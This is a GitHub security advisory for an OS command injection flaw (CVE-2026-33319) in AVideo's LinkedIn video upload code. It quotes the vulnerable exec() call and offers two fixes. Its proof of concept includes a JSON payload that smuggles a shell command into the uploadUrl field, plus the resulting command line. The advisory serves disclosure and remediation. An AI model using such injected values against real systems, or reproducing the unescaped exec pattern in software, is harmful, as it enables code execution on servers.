Skip to content

AVideo has an OS Command Injection via Unescaped URL in LinkedIn Video Upload Shell Command

Moderate severity GitHub Reviewed Published Mar 18, 2026 in WWBN/AVideo • Updated Mar 19, 2026

Package

composer wwbn/avideo (Composer)

Affected versions

<= 25.0

Patched versions

None

Description

Summary

The uploadVideoToLinkedIn() method in the SocialMediaPublisher plugin constructs a shell command by directly interpolating an upload URL received from LinkedIn's API response, without sanitization via escapeshellarg(). If an attacker can influence the LinkedIn API response (via MITM, compromised OAuth token, or API compromise), they can inject arbitrary OS commands that execute as the web server user.

Details

The vulnerability exists in plugin/SocialMediaPublisher/Objects/SocialUploader.php.

The initializeLinkedInUploadSession() method (line 649) sends a POST request to https://api.linkedin.com/rest/videos?action=initializeUpload and parses the JSON response at line 693:

// SocialUploader.php:693
$responseArray = json_decode($response, true);

The parsed uploadInstructions array is iterated at line 532, and each uploadUrl is passed to uploadVideoToLinkedIn() at line 542:

// SocialUploader.php:542
$uploadResponse = self::uploadVideoToLinkedIn($instruction['uploadUrl'], $tmpFile);

The uploadVideoToLinkedIn() method (line 711) constructs a shell command by directly concatenating both $uploadUrl and $filePath into a string passed to exec():

// SocialUploader.php:713-720
$shellCmd = 'curl -v -H "Content-Type:application/octet-stream" --upload-file "' .
    $filePath . '" "' .
    $uploadUrl . '" 2>&1';

_error_log("Upload Video Shell Command:\n" . $shellCmd);

exec($shellCmd, $o);

Neither $uploadUrl nor $filePath is sanitized with escapeshellarg(). A malicious URL such as https://uploads.linkedin.local" ; id ; echo " would break out of the quoted string and execute arbitrary commands.

The $uploadUrl originates from LinkedIn's API response — a trusted third-party source over HTTPS — so exploitation requires compromising that response (MITM at CA level, compromised OAuth token leading to attacker-controlled API responses, or LinkedIn API compromise). This makes the attack complexity high, but the missing sanitization is a defense-in-depth failure that could become critical if the trust boundary is ever violated.

PoC

This vulnerability requires manipulating the LinkedIn API response. A simulated proof-of-concept using a local proxy:

Step 1: Set up a proxy that intercepts the LinkedIn API response and replaces the uploadUrl field:

{
  "value": {
    "uploadInstructions": [
      {
        "uploadUrl": "https://example.com\" ; id > /tmp/pwned ; echo \"",
        "firstByte": 0,
        "lastByte": 1024
      }
    ],
    "uploadToken": "token123",
    "video": "urn:li:video:123"
  }
}

Step 2: The resulting shell command becomes:

curl -v -H "Content-Type:application/octet-stream" --upload-file "/tmp/tmpfile" "https://uploads.linkedin.local" ; id > /tmp/pwned ; echo "" 2>&1

Step 3: The id command executes as the web server user, writing output to /tmp/pwned.

Step 4: Verify:

cat /tmp/pwned
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

Impact

  • Remote Code Execution: If the LinkedIn API response is compromised, an attacker gains arbitrary command execution as the web server user (www-data).
  • Confidentiality: Full read access to application source code, configuration files (including database credentials), and any data accessible to the web server process.
  • Integrity: Ability to modify application files, inject backdoors, or alter database records.
  • Practical risk is low due to the high attack complexity — exploitation requires compromising a trusted HTTPS API response from LinkedIn. This is primarily a defense-in-depth issue.

Recommended Fix

Sanitize both $uploadUrl and $filePath with escapeshellarg() before interpolation into the shell command. Alternatively, replace the exec() call with PHP's native cURL functions (which are already used elsewhere in the same class):

Option 1 — Minimal fix with escapeshellarg():

// plugin/SocialMediaPublisher/Objects/SocialUploader.php:711-715
static function uploadVideoToLinkedIn($uploadUrl, $filePath)
{
    $shellCmd = 'curl -v -H "Content-Type:application/octet-stream" --upload-file ' .
        escapeshellarg($filePath) . ' ' .
        escapeshellarg($uploadUrl) . ' 2>&1';

Option 2 — Replace shell exec with native PHP cURL (preferred):

static function uploadVideoToLinkedIn($uploadUrl, $filePath)
{
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $uploadUrl);
    curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/octet-stream']);
    curl_setopt($ch, CURLOPT_PUT, true);
    curl_setopt($ch, CURLOPT_INFILE, fopen($filePath, 'r'));
    curl_setopt($ch, CURLOPT_INFILESIZE, filesize($filePath));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_HEADER, true);
    curl_setopt($ch, CURLOPT_VERBOSE, true);

    $response = curl_exec($ch);
    $headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
    $headers = substr($response, 0, $headerSize);
    curl_close($ch);

    // Extract ETag from response headers
    $matches = [];
    preg_match('/(etag:)(\s?)(.*)(\n)/i', $headers, $matches);
    $etag = isset($matches[3]) ? trim($matches[3]) : null;

    // ... rest of function
}

Option 2 is strongly preferred as it eliminates the shell execution entirely, removing the injection surface and aligning with the PHP cURL usage already present in initializeLinkedInUploadSession() on line 664.

References

@DanielnetoDotCom DanielnetoDotCom published to WWBN/AVideo Mar 18, 2026
Published to the GitHub Advisory Database Mar 19, 2026
Reviewed Mar 19, 2026
Last updated Mar 19, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
High
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N

EPSS score

Weaknesses

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Learn more on MITRE.

CVE ID

CVE-2026-33319

GHSA ID

GHSA-w5ff-2mjc-4phc

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.